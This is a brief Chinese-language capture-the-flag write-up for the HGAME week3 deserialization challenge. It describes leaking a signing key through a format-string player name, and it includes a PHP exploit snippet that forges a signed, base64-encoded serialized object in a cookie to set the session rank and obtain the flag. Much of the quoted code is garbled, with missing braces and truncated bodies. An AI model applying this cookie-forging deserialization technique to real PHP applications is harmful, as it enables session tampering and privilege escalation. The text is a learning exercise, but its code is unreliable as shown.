反序列化 HGAME week3

2021-10-02 21:55:10 字數 1812 閱讀 8391

這次hgame-week3 的序列之爭出的很棒,也讓我進一步體會到了反序列化漏洞的原理

private function init($data)

}

呼叫的時候

$data = [$playername, $this->encryptkey];

$this->init($data);

而 welcommsg 本身只有乙個%s

所以我們讓$playername%s就能做到洩露出金鑰

拿到 flag的條件

<?php if($game->rank->get() === 1)?>
要控制$game->rank->get()返回值為1

由於$game的構造方法

public function __construct($playername)

$data = [$playername, $this->encryptkey];

$this->init($data);

$this->monster = new monster($this->sign);

$this->rank = new rank();

}

先看rank

public function __construct()

$this->set($_session['rank']);

}

構造方法會傳入session中的rank值

其他的幾個方法沒有太大的用處

但是析構方法中

public function __destruct()else

}

只要滿足$this->key === $this->serverkey

就會將$this->rank的值賦值給 session中存起來,表面上看沒什麼,但是利用點就是在這裡

最後我們看到存在反序列化的點

public function __construct($key)

$monsterdata = base64_decode($_cookie['monster']);

if(strlen($monsterdata) > 32)else

}$this->set();

}

我們可以將rank類序列化

然後這個類銷毀的時候就會設定 session中的ran值,這樣下一次例項化 rank 類的時候,rank的值就是1了

<?php

class rank

$data = ['e99', 'gkufua7gfpqui3dguthx6xius3zamcll'];

$sign = '';

foreach ($data as $key => $value)

$rank = serialize(new rank());

var_dump(base64_encode($rank.md5($rank.$sign)));

?>

當然這裡還有乙個條件需要滿足$this->key === $this->serverkey這個可以用取位址來做到,但是實際測試的時候上述的exp也是可以的

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